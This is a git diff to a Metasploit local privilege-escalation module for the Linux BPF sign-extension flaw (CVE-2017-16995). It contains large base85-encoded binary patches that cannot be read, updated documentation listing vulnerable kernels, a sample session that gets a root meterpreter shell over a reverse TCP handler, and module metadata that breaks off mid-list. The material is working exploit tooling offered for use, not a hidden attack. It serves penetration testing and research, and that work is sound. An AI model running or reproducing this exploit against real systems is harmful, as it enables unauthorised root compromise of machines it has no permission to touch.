zT(GH=Hy{8kHDNo4>w5ayWWX3LBDByt2^Ywr?EeI^J+SOlpPdnpq>e?;sawWW zG@nUqWG_4e^c8T!0r^LfcFbC)ingdM|2cwY=rW|5Vl*Zl9R3qic4ZToPWK}0h%du$ zW+=?*&vg$!fsGzrpzMT1!O4w>aGG@Yz40Oz2&8zyd)=&A`Oo|PmsL!XnwpQCpM~#8 z4?jOk8%M|1#zWV#izm)=w+Tw&EN(ctR`G%8;VgOrfY?M^{N&r3Q04T{kJ(HSDLI14 zI{aT$fQ^bHy%zb|Yt1bYZ5O^@9{%smfb(@CP91u&p@_fB&XOtYQq;o03hyLhZ8QDu z4GuF)p(dh&BVK9QN;5p$k?m+kjz9kh_PrB8B#*$_82soRk~OrkF^cV5LUs3TMKj_B z!_62=c){S_*od3Dt>jtE4Pp}jr`vhE_BKtemcJk_AmUnf&xrgnBXJOqIxEL=GmZ_n|tMKJ{l_H5Y z2dow=@kO)`xH>pgu>}8?p?1ts&?E-c95$07EugZ$&@p*~5$|zBOO4cK$v(VU!U=is zC6fhv9)k@xGB#uEL1>IkA!Y$QQAk}jK!N;IIi(nqV}XLOYS)hAtq7v08n}Yl1BXIJ zw(Ht4dI>WN3~sdSX$qlr99zRo+UU>4 z0jZXQ(T1TgZ<*RL&x9IiGmmTyOU{Gd^9t0=d8?2r@T1rYcodw;DnI|(;?Tpa>;Hyn z4mKGf?+8-sR#?vzpM<|i5Pg^pQ~#$Zgz35GL*=ma2RsX=cX8qkDT2c%5E6`N_AFO{D^<)4oIq`YY?;*9)!4o>ASiH$^l zGlM1|E-|NTeM%Lket$*GvlmEbCp!_i1GO3{)`*wXL z;VACJ$s$$;>goOJ#7;-czJL#>GkuHI7xZO^U3(cD_?-B7TCac@B#v-aKGq+Oi4h{e z^QM@Q79friOtO0ehg3YAD`aZ;@dWC215KkN@fCh6sR8UZL&=x^JhkMns@54eRvbYv z5LiR|>o3>q8C`LN|K$J*llWQQegfelMkAQcClf7Q^z@~duEG7;+nNC0>cOu>r#~N4 zQ6MiguH>D-!V{b0$1EWe79U^4vuTRT>a`>=m%r|Ccm0K8faOK{9m*-`4qRfR**FUS z#DJq%5Tn&%4}x}&PKhNE3oqw)X22h}{sN@5OrXUDmRop>ySGf+Ri<@15WbC6(~@9O zN#2x=t__~wC_j7>G!$28S#cJDZ`dRNU}UY6CAqL<;L<5g9{{~?qx{HofMVIixWt}E zq4|6w2RG8=HGExaR@<2&_>xqxE7Cg8u$4khs~r0QlJGxC3SJnTNld`Y10zUq8qt8b z-*#qLu&bvv4~y<3@rScoXJ@d`7VK(joo|RQ2DQYf6Ed#8MMI-lL%pr@GTB7aDr?7y z+lRA=>UIN_hUle?xE%f7TeL?)1c0`kh?Tk$Y|4WH;1nAbsOC4z^j9htV-PM@eAmWD zMB~`Ap{L>?i{B(aZ#Cmp$A8oKE$OAdHBpCyO+mtT`sNWRGu@T8Mf70~8l7XY3O_ z%kf}1I*pX!Pk%?y2>&@v3!&w;bp4X;!5T=#neH)d;)#9Bw%P?x|l!CVDp7hi$0PGd*rKOUlyD4bd{rh*mK5v z@Fb}{lmm<#@MmRm_)Ir13*~P$&27eF&@zUE!<&X1mhv}@HK}D07r0ELW%$ z=CMjC4>a`g7ff+Z@fRwd#@cFcm0zjw)+ugppvLd1tMH(_rq1VaD{DP&fwWuFX$Sey+`s@dh7fO%ip3*y1zV6g6_^hZMnl7gZ*Ow}*z23Ef+5swkYgY#21^LVLuy%iPEPMHMZ=hUIMcsqeQ z4^?temfEeHA1s}M0F}$HMNj+Pl^!4KHFuz{4lY6!slCsnOKDb@r_!}<9r_s#a3SOV zmRa|ZXTgR2RW5jWEo%<#R=WZS8}QV)J(AVC&Q(>Tc z<62$qkrn{rQvCk)(n3$&x+VOAM>4oZbYdkC(z|qk7`dX4h@zuKA z9;Mn-flehE>Z_o|?E&gyWu0do@rN4TKpn7F2Yl-#J4KSZKrLiaeCvIF_^TU(y&nsZ zT5p}JuBv*y5~y+2!{3L^pazl1 zUCAW1h~a>a1c5ZW&b!uAqtsTxV)pB97oDs3htL5%B1VxkyPC$7fY-q@phJKE2@`V{ z=weUH}n(Wru zh^uMU*FlV_DY0IU#2nWfrR<*7c(HFMly|oTw$%P?< zfdI{^5BZ?6v#>(*4BT%WS}d2WY}ha%ToemEu63jc8)*HO5?CyV!ZXDnDrflg>+VV&3Sb$hEt|C2?9gnYpF_YQU4YE=8kGLVB}4b27~KLqt* zw&meP5BfE3Cy0yvSua{GY|3LAjhSQ~n6W404 z7do2eOSl7%rTvBw8Y9%WdC2Ow0!h^moWs{pm>)1qDiB{qe<{AofS-k_{#n6Q4fiTv zPn}$g4p(VrhqYXA%4rgQY)+-4XC&F7PzEJ(w(6j6&S33SbF> z6=S({7wdKb(q{}dx1o6+ju3?ho*vt!?rJ4_ zh&+1C*h`ET%&&xOBp#D}&$LaMd-FXUx29)|`3s%a+}J&+-*3?{%(nxywBj zYpU*BTV3b#ufP9+2c`Y{5{V;!O(aGlrM&(#4f*BxX~NGlDR8}BPtTz4%KeGNl%i#m zi{)QW;-E{Nx63gs4R@+=1uBR7cM{@DScr;Eg zHQ9#_d!?Z~FX1`)$UM|%=H*C+OLK?jOH%F-R1TGf5RIVJktrRa7r=Qq)eomX6q`%n zT&hgg>v+j@STZL`qbbjR<#I57r`D&SBFj$81c>fGvgntT%fa}aS})K$lU zGkl00j6{7o(i>3Ug;dh(Gj=lsqThs{cTxYn3+gu{>z@Mrw%;cbKfa*;hspZgfd2{g zbb8Xy|KVi)#{et%BI`TUOM3g6Z{`vLwVwrj-@!|P!Q?ZeKDcf0dMoO$#f9lf@JjN} z_#)YUIqD^x9qdc3r#wDPf7EY5{kw#hl<#eWF5gptSN{cnS&Int`izxH{<~5Cd(n4%D-;ptrx2RrCHw{oMageL3n& zQEyJ=@9d}FgnBFL+0nhu-`!vTlxY9E7ucsdX`kJw|JR*}pQ-#ajwR*)81>#rBJuDA z_07Big8kp;|19t=Eszi&9X-9Q|6TA>m%>oeryzYY)Bip>W=Zy0G@qwgqD=2A=p!a) zi7smCgBK<2Q!C2i7)ZitIs51nI3{fNVKaruQ*Qtv5P0vJR!>Z#HRB* zmq>U83x#kNr>OWxCi>rZ*Lmu8)64qbbJtTHo=&I3^;8l1>;0v}^;EaJUe?pe zbM)M|OZC6|{vAQ5|6TXNs1d5tKg`9_f&Zwo?x*Se{!#kte}7)rU;q2^lJ4kf4GXtR zh31g~QUU+S{Jc4HZcz&6Em&Hp+&uOAsYTz0cP3U-`uI%6&%}aPAD0)xGn3=@LUOpN}8$pPF?mx4!>gf z!=zPd{kVm};Xf;oN%`zRp4v5~`CDz~z;^zDz;{gGOmw{#VFDvQWdeSsXyXl}1NGM@ zg3q6XzWTPbSHO$Jgva&@fSnca8DauljWT^+Mf{?6e<9#(?G1P)1S5E_fU`9>;KK!c z7Ta>;-%B7S_|U@$!oN&xG}#&#@CgDQ#+PR4!`8M)Cj&l^Ub=m<$1`;F9skS{e1@dK zAA$bV?&ixmo+9w)4#NNLLEyBvF(7UzOF0AbOZwa=;1b(?ViPYG8l>Mq@;43w*Y&Cu z{i{zKn+C!Er$OL98w5`AcOZGT3jDQ;BAAz_YMMoeGvE}jB^9xo4#I&ax+Vl zVOJWbPm6J?k89dX4y0F-k4s@3()mPmKElwS48o@uaPptIlei!?DAT7;z@NK{mld8! z=LP%?0l!tiuNC7+zM2ErnFzAkSO^jSs|5UC1b(i7zbN3Ji3P9;aPmXxE{5n#`1wKL^9F%09t6G$aFX9#%H_8SIcou@ ze($MJScM*+*9*9^hQpr}_$`C*4-W$W*&y)W3<9TjIRn|PZ4mh0LEvu>0@vd}!5nUf zOrA)e4T67a5cm)f4kYKeLEu*o0-rnx{Ki4xa{#A)d|@sZJV(f{4uXHjAn@gbz$*uV zHvmrU9#MINA{CJ#K^t;S<9+CH&4b{C^gF_NBppJ_sLbY#{sp2jlb2 zb>Qy-rz7C>b>_}N;P_MD1LA+g_>cU?y79~)__x9!qhPl@b{LJn*-C8j83sELe6!eC z@8e);B*8O`(xQ0+Ad*V~9|?*Am%<>roeLR!gp~g8oD~WF>&1L0mJ8Bt0-hu0aZQZt z`2Fbj<0)DgLub&T$7VsYm_-{BnsaC)rvvYucezAezX!oPp z9Bvc%j{-h21M9}Bi43Ca`$NIUe+5U>+x>|S7wux2W1n9MxN8nCzbD|&3iy8reMPmj zQ@}S{IilVTT>?Hr2tw;x`WzJSDYx;m{<}xO_X)$BMa5?V?h|&<`{hf(M`oaZS1URT zmYx^*cXBgGvVm7;K|%5#hhR+WOZp5YIPCeR;C~ATOJe{ZnK4|dy;l(so=hZs{Armc zm6z`mwbu&%SI*)9-TpTKeg*ia$Di4Z|7fX6^jEFmV;6jWE)*5ZQ)vmq|K>i+CGhVT z{-F17rGU@YJ4EomAMl9-#Ggk5{?kJK2L*ltDcSAywDI^ufv=x0@T(9>x^)QW-&vtB z4!RxwjqqWI?+ZDX2>!PKet4CdxFpNY4-nE!12#nvJd_g4*MJx{L|OT=L9@`-!zokg&orU zKObnd~;t%_< zzqkdMe%`Z8@ad^k7-lK^ElEzmN#At-8w9>m#qsraTL34!rSHFf3^>{6ZeeGA|M*J* z_XxYmqTT-zeA4%Ke*~QLEfDRZ``Blz;FEtPFY9rB7vLtsPm5!(34CW-oIHwtCpkA> z#`!$V6X{KXKV8HzeVu=p;IQWt0zOmV#{_&7{FFWgJdt_@pQspL`n+>az)y;Cq2tqE zY9Ri*=5hvton#XJnZ9mZ4!8+7)9L46mjOO9<(x|IuPYfG=PJUUv>Kw%b%2u{{zD+r zc?x}I3HZAr4m`oZl1;$N6%Nq%^$P(fe@H*aa0z(3=r2w1`L5uT4sQh91c}o7k^GqY zw@<`*!A9CB_~_@_LM$mP;HyMnV|SAvdP2aDiSe$VpFAVr>2ZL*0!#L3Li_YF^F(?c z_-tLYN?{P)&bt98JEZ$hx8Q$L_`}13&j$j&MaZN3)o}rD5&)mT?*p91MX9iZJ}&6% z1~h)35dN>rGY%P&za4ter;8`jB*2N!W`VEsnJVzB=W#^#cTbSLiSV&5>P=f0l?wbE z5jfX!x039Ff4V$Uox9FoJk^Z{w0@tT9s;{1r*qDd+ZQ<<_Qgw_PL!+{lx(VV?jlQ> z%{kjP&%OW%<#@2R2Coo3bx!{}ryK7OJw8yCd!1{ly{lc-&T@J~=yU}dCAXIz-QjuI z)M?XhxIv-{XH|J4m8MA*b$F%dEDx+(w_ftDz7KCc0l#sYE{<)1l}W=J*Gv7a(Cb*y zO1)>w^+m-uPbt2sq+}Wts`W!OuQPDdjd&{VDtFRLDv3SGUgujQt?~Gsc&i%l;0bq4 zxqDr?M30f3^rBee&yRWD>8!3=?RMgwU7g=a?|#9VNm~pN@l2}5iKwRl49r@pQA);jTsRH|6#cLqpxz@=IjbOxZJR%$G-T2qCW z#GJtC_SV5H^s>-L8dZBpX=G}64)lSla)4lfn))idA7gp?rvMtNc``sH1N@Ak%<; zU$>f7(_>M3|Hg6s$U@HW-Dhu!0*-b6}16Bbs64AyDQ1Az~(*X zbl0NjbGvH+Yj80g8ZeM_f#`i|MYXpfrA0i{Cf%4^P7;>85YKumNF)4qR^rhgc#=j$ zY`uGdrOZAD5V&R)I@%&bT*!`u^aQZGp2V={&5A~sl+AJS_`yb%7&*X6 zip3(H9%A%fq|pLzCwY?H?X@_cH(~_j#S-5hnLfA_9WHlH@`Ed0Yg6i`F=q zb)6V#wd?s{U~n(+@o=8IfUpmFn8d~k;6iU_4c>D41PM78s`TNP#~dfU zeMYeY@1cE8Z;ewBl7~ZziiUD#PDDWZk_x`3lMRJbp>P2XDvM zCD~wRfXK97T`ke=<<-9HsY(P9J^?V_=lm1Efc{}ULtjIpIz%7@qH@dv`yATrK)RPL6D4YA|Z z(o{GM=)Cx55hlNX%!jVkXpfK~*d_OOV*Mqyp~-qI$Jj?-=S@UuD1LN${oY?s_49aI z_7Y2-UR(=Gg@93=PXDB6S5L7Vz2GCNldxjsNEV&`X@Q`pPl&Q!pWZ(0%Lqj*Ym@H{ zN=Ybu^mj?Tr0;h0628EVY%0C}EJ6 z^m=+=u8zr5y9y=S~y|rrTG4H=(Dy^^K7rQbejJ_ac)@ufMO* z(=4Hnj-M`1rJ&c*^z-p$#2BA+ebec^z@headi}jd<+r4-Povl0bu@lU`XK1Z_w@Gl z_aCi-zEl`ouh-?*^|Gb4ufG%NbfN;E={!mP*6H>1G1R2$pL|cUijxfHe>(l+Y4rNL z6GhM)b;scBBt@ip@-t+Jm#$ywYK2u5tY!)R-63HBUi=3AlYkROk*L=bogOzG7kqSX zdP?{P6tytO+{8!D&&7coEy-6ZWDfVyXkh#1#F=9yBkq~5B+J= J)K7Z*{|^=(99{qb literal 14040 zcmeHOeQ;FQb-!9kAifp}0~WSxUJ_`D9TtHx0e`N97M?r;V=URO9sIP?uB0_9?RNJq zNI0Yz8QW`_6gO^$Bu?X|w1ZPmLK5l#Ns$N??8ffkY3zE^xTPJ(vx;#e*A7u!hwbm& zd(YE*Puh$#o&3ku>^t}T&c{9P+>iHl^{0{Mb%C-n!6hJW5yWk(3QI^Gg{WO7S&gk0 z(?nP-6jzBUKq~PIO9@d`V>+f?Gp*8k<)9V#tqv$)bs#J&Os`TfT2O@}Bued#m$0rX z`rJIlG8Mv*0NGKj)mKXvv`to+?$>dQ2Dl|d$_XaBCE9L@wqtr$t25>EqjRHQi}u?R z2!kU&Ohh!w<2WTz{6)c#t-5s!_I6rEs){2{Td!_O+s?U!p zXJ=V5(Y|WsvSe&&GSQpsTiUmJ)zVcfL)lblg*7^W{y+(QcL_XE0{@c|_?Lkj`1#9H0F%W}{WcjsqXgbx0&f9c zBd!p`MjL8E@VpQhHyt!gR*86D!WQXxCX>pDbk5ES%gWl(j;&Tl_g1Sjnn;Rls$*;1 zPDc|N$e`GpvXZHesGUglifr5_aVl+#tQ~_;Wc#yryhn7!?OY-zI@6g%uiZ&#M>Gjv zc1AU2Srh^_m9ed!Xrfna&m`zkVz)>2u*h2NhzM3!m-6A9LZ{XCyWU&R3a(l`q#C!rU`#R~BX< z+vdQjs*}pNc>NC{DlR^S+?pmi#w}FDL$x z(5cQ|d={N&a!-Ddi(+$?qnfQa#cp`5nYlibpm{K0`dE zb|ftM2Z*PXj?_uMop>68BZlPfC7x0{QZ4z-#8XN~gyg?-xgk3DftO|ZJ5Bjl?l<%Q zWe&VKx~Zk<%y3(ESeR!{jLs%<=4Ft=-7tK=bN0eUA&z_tiElNR9t1H5#)4-4XWOnk zLar#?HCu*AP&^0aho%25Cn?LFA?A;hyw!Z@zoml{7t7(m%#WHU3b&eNr_EO`+VdQ5 zGuYegg<{J|)&8!VPauAgt7(N{p%;N|IbHcpKxOaAmWB*m@Xdi+MXvJgFTl=m_AVI| z&u$sn0UN4gq_pLC{=m%V4&_^qnE4F{8}pF^F>|nD@e(?nd}M6-u(`K&Sh_e$J!t0t z^*!_N1|vVnM}`L@N6h^QyF4E`We!FTLH`BNgP>>6L|&%>bSCmsn(Rl!#}HCJa&9nk zARj55uKYBefw?y_e6&tF{o!#ME<^ROk!=;GUMv>P!Q5EPyl$lo2IKe(zbO`9JgEcU zguwH;Bl*_D`3;ADmyi+cVB|1DMa22YOP(MQgFA@bXwV--&=Z82--*2CK2iXc*UmQt z(uNjcgH-L6DLdR&%tze z1l5RO%p9y-4BzHp>)7!VHDUDi8P$)=pgM%%RxHF(qrN*@js}j=Y(Gv*#t@xx;g8VW z`O4{VF<4oF~_hHxUH@G3g)IMr0&oOW2*>E8oeD8Qc@0~QkOuW3d zdfM@I8GJdXt43%(H>&zs`n%EZ?-~V+QUfx&1?2HI>NxF44s%4XSPZ)Ytt(WaE%emu z<`Gni#Ye%diM+mj`cQ$o>^0^0b;|1BE6sBr&2!Lvmo%SKn&(LK0%aL1rAM;>%@0U( zx6&+7tkdR%^^$pDOs1${R*qpYB`=4Rmr;+GQFyruMunS{mr-+IxB_jBd9=o$buDSl zS6VXhYn--LtG32u4^dN3qNzdv=$_%+)kEva^6;+h=17wcQ=TblPS4h9WeJohdodS_GqLR0?L z=1yq~DXM5PzX*?E>|Ds97=eq^b>l zUD2s`L0}o7vxHPiIupp4Mg*ISoMhJX@#G z$}L2HRub_bt$ipQck2}O{P3VYU&bGN)T<}tL(L7w;_P&>ep9o4mdSRfGPWU~YamMI zri=DeS1xOGrgbID6+4>UYNYLqpb8#-GPw@hxEVHmY}1j6$E1dGfoChpfx?Vcv+3ye z-b8Pgkx8X&BikLv6W21kC%x>p#yc8KJF;H%0^gQP_Qo^O_GJ84I*YO^%WvEdItRZ~ z?-z@2g8ulI#o}Smf5On4iH;e-X#W&w6~=lq=;NSC(3w~vp8&lT^f}O5u%f;MIs|$i z)WFc6iH>Op{S@doL7PE;1)2n%fx+_x=p9&_p98f)Ujls-bS}DPE@Gfkwqvs>>#Hui za^}>kePvUt38!cOTEuw`Dd;k}z7UHbC;ivoD;DL@3|6lT*4{RI#`daR;?^r}yym(^ zA14>2(}>^m@OzYi`e5}Vfwi-y1P-HRC658V9eJU#HZI@g$R7rL81mg7`A$cE0Qh|5 zvy}W4dn+1(OP;7SgLRKg zF@viIrfvv^Gr`sM!Mgh3l7^rGJ?J+CtK_(AhMyPU2jo(@lz~ebxRilQ8Mu^zOBuM7 zf!})ujA>!j22(<3x8j|QuF$82w#R&sny?8>Hdle z%YS*Xm?D0EAWX#h=9{iiynd_`!vV$fw*vWOEO391AC+1~#5_%zsHZP*Mw^8AUQ52I z2g3LB{4ImN8&Ww^8J3js$28Az*GZ|s_iECMlyr!o$eNEH1G`*ndl&Y|7YQCm_sOc(A{c-f^@w9&J z+8c}|t?jv9J7-)US{bTax+*8R<)2%=Dpa>JwC0lvH&)awUsboNZjIm71il=jd37K> z2_A61)4PS`_I9v7ciy{BptHVcj<6w2J6;!iz5u`zFQ5zk7T2c@-Q- zY5rG;cjY7XII6w@mtocN$4~2O0QukL>lgA&_^=NTXd0dyHCQ48s7t+%FFl>{_ylLv0}G8 z3h@Rg;ZtUWCBpbS8h=dV@?8e7_ci`~jdQ|(t?^?s!>9@IkUYXS5<>oOoE4TxRO2%> z{9;#^t*R*Z`h1pUWU9!yB}N z^TOJ*A~#EX;`kxyWc|`a4WJ+W^XOjbXX1S6(E5CRCu=I(BtCIo=cS*C^XO~9=OEAY zm6!@&hrcCp33(1L1FsPa#4~!_@^$yezzvV4VvfO~0e$~GrTt8ECeaT-e=_`v68KW! z)$mWBpWWqI>3`ySxUz(wO(pOcaN0*hpVz4H`6e}9(0GNE3Xv({=X44D5$%V*zfoa7 zdrRm)r}gO@v?@4Jlq0|?5B@y=V+lV$DS`h2xFJ1y4;O*g1Qv+>zC6z;pS-_50lWqg z@pXsKYlYMg3fhi9B`%NnZh+IMrn}OQMKz)bedVI@$@?L%(b5L^A$@|eLa&jfBGtrx{qM1yz--`FznSRlkiT1>;Sgxn1A0{r&f~M_J z-O;~(NA&L2^@y=O-D#yWsV;07i^e2}?-)@#jvZh4^Z{Wm9V0fL#FjDQld06!Tw3wi zY$o@nW#Vb|L8T|#Mf=LEZP8>-?i52E-%>0KK4Tzi2N`ML!%BL4FQ9ds>o-KK$i_zG zNF|Kxp0Huv_{SUTH#Dt7M&ldqytq7f zFJ#4$+bEjx?&lj$ft3B5VRSHGz z>f=3uUTwWW&Tu0)?r)9q*{mgu!|*|-xVbqVz=B5BWNbs%!v zq1yWB^KsiYYqOqDYm?Dz7L$p_qEE|0U-8(YPUI=*=|bM|=(SawCB2vkW&3;VXgjE# zQM8+D*hCr6q(und@8Y5QhNh)7*?}GF>55LtQDbcDxTqS{I;{k|Qe=@760pcMMLLQ>JQ3 zP!?Q&paW`XCfbweKny9H+ykLu8bZH_5EiE%EI95p`2SO<`*B=SockGm&gA{>{Jw+R zAYFI)1Q>e9fXk08ErGD6l1#W}@byheg;EX!tb4qXajyvMJ(C)^Y?jRlvjRF#?So*4GI)~|E9R{`#$FL zsJQL<{XkgTOCc+RR_i*`r~LN%xiqW;<#^eJpZ}`Qp6|alX~j7{18$f7{k6}Y-%G@_ z;xty&R1Yf$eOB9Z|M7ifn(bMjEqvjKZ~N@||2O#mI-Yh~QWbyuG`=bS+zh`Dsl80; zKg9yYI{mL%@ggcg{AdnQ;pa5|KM#Mre*RV1%*K!H`MI$6YVtNd-V`^H|4#@gezxcL z7{*7me+#xWcG;fa*YN-0oF(TdJia-89tZm&bGOg$b;cG-vkCcPd#1ne**oul3}wGh z5$DKuOvfN`x6jW-`wV5m^PC;99rG7aA&k$T@5c`sN+T@2t2!Nx@v5wqqj74#&WE%8 zN*_+TRG8MF&TUJ9K2(NOh2Dd>i;tCld_z>KpEHz|IZaU-4maV)=g)Z|@nr2U(GOs6 J_=NuU{|^AgkDCAh diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index f84803cfcc..5ce960dbbf 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -1,20 +1,29 @@ ## Vulnerable Application -This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, -which contains a vulnerability where it may improperly perform sign extentension. -This can be utilized to priv escalate. However, this module's offsets and -other parameters have only been set and tested against the 4.4.0-116 kernel. + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. -This module has been successfully tested on: + The target system must be compiled with BPF support and must not have + `kernel.unprivileged_bpf_disabled` set to `1`. - * Ubuntu 16.04 with the 4.4.0-116 kernel - * Linux Mint 18 with the 4.4.0-116-generic kernel + This module has been tested successfully on: -### Meterpreter Exception - -Due to a bug, this exploit can only be run on a non-meterpreter shell. -When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument` -is thrown by the executable. + * Debian 9.0 kernel 4.9.0-3-amd64; + * Deepin 15.5 kernel 4.9.0-deepin13-amd64; + * ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + * Fedora 25 kernel 4.8.6-300.fc25.x86_64; + * Fedora 26 kernel 4.11.8-300.fc26.x86_64; + * Fedora 27 kernel 4.13.9-300.fc27.x86_64; + * Linux Mint 17.3 kernel 4.4.0-89-generic; + * Linux Mint 18.0 kernel 4.8.0-58-generic; + * Linux Mint 18.3 kernel 4.13.0-16-generic; + * Mageia 6 kernel 4.9.35-desktop-1.mga6; + * Ubuntu 14.04.1 kernel 4.4.0-89-generic; + * Ubuntu 16.04.2 kernel 4.8.0-45-generic; + * Ubuntu 16.04.3 kernel 4.10.0-28-generic; + * Ubuntu 17.04 kernel 4.10.0-19-generic; + * ZorinOS 12.1 kernel 4.8.0-39-generic. ## Verification Steps @@ -145,55 +154,31 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` -### Linux Mint 18 + +### Debian 9.0 (x86_64) ``` - msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true - verbose => true + msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check - - [!] SESSION may not be compatible with this module. - [+] Kernel confirmed vulnerable - [*] The target appears to be vulnerable. - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188 - lhost => 172.16.191.188 + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False + compile => False msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run - - [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 - [+] Kernel confirmed vulnerable - [+] gcc is installed - [*] Live compiling exploit on system - [*] Writing files to target - [*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c - [*] Max line length is 65537 - [*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf - [*] Writing ljJApCaK to /tmp/ljJApCaK - [*] Max line length is 65537 - [*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf - [*] Starting execution of priv esc. - [*] Transmitting intermediate stager...(126 bytes) - [*] Sending stage (812100 bytes) to 172.16.191.207 - [*] task_struct = ffff88003ce84600 - [*] uidptr = ffff88003cc46f04 - [*] spawning root shell - [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400 - [+] Deleted /tmp/UVQYvBTJ.c - [+] Deleted /tmp/UVQYvBTJ - [+] Deleted /tmp/ljJApCaK - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target - [!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target - + [*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ... + [*] Writing '/tmp/.1pZhL1gc' (207 bytes) ... + [*] Launching exploit ... + [*] Sending stage (861480 bytes) to 172.16.191.236 + [*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ... + meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.207 - OS : LinuxMint 18 (Linux 4.4.0-116-generic) + Computer : debian-9-0-x64.local + OS : Debian 9.4 (Linux 4.9.0-3-amd64) Architecture : x64 - BuildTuple : x86_64-linux-musl - Meterpreter : x64/linux + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > ``` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 2f12cb0075..9983793219 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -7,70 +7,92 @@ class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv + include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) - super( update_info( info, - 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', - 'Description' => %q{ - Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter - which contains a vulnerability where it may improperly perform - sign extension. This can be utilized to escalate privileges. - This module has been tested on Ubuntu 16.04 with the 4.4.0-116 - kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'bleidl', # discovery - 'vnik', # edb - 'h00die' # metasploit module - ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell' ], - 'References' => - [ - [ 'CVE', '2017-16995' ], - [ 'EDB', '44298' ], - [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], - [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] - ], - 'Targets' => - [ - [ 'Linux x64', { 'Arch' => ARCH_X64 } ], - [ 'Linux x86', { 'Arch' => ARCH_X86 } ] - ], - 'DefaultOptions' => - { - 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true - }, - 'DisclosureDate' => 'Nov 12 2017', - 'Privileged' => true, - 'DefaultTarget' => 0)) + super(update_info(info, + 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. + + The target system must be compiled with BPF support and must not have + kernel.unprivileged_bpf_disabled set to 1. + + This module has been tested successfully on: + + Debian 9.0 kernel 4.9.0-3-amd64; + Deepin 15.5 kernel 4.9.0-deepin13-amd64; + ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + Fedora 25 kernel 4.8.6-300.fc25.x86_64; + Fedora 26 kernel 4.11.8-300.fc26.x86_64; + Fedora 27 kernel 4.13.9-300.fc27.x86_64; + Linux Mint 17.3 kernel 4.4.0-89-generic; + Linux Mint 18.0 kernel 4.8.0-58-generic; + Linux Mint 18.3 kernel 4.13.0-16-generic; + Mageia 6 kernel 4.9.35-desktop-1.mga6; + Ubuntu 14.04.1 kernel 4.4.0-89-generic; + Ubuntu 16.04.2 kernel 4.8.0-45-generic; + Ubuntu 16.04.3 kernel 4.10.0-28-generic; + Ubuntu 17.04 kernel 4.10.0-19-generic; + ZorinOS 12.1 kernel 4.8.0-39-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jann Horn', # Discovery + 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit + 'vnik', # upstream44.c exploit + 'rlarabee', # cve-2017-16995.c exploit + 'h00die', # Metasploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => 'Nov 12 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'get-rekt-linux-hardened.c' ], + [ 'AKA', 'upstream44.c' ], + [ 'BID', '102288' ], + [ 'CVE', '2017-16995' ], + [ 'EDB', '44298' ], + [ 'EDB', '45010' ], + [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], + [ 'URL', 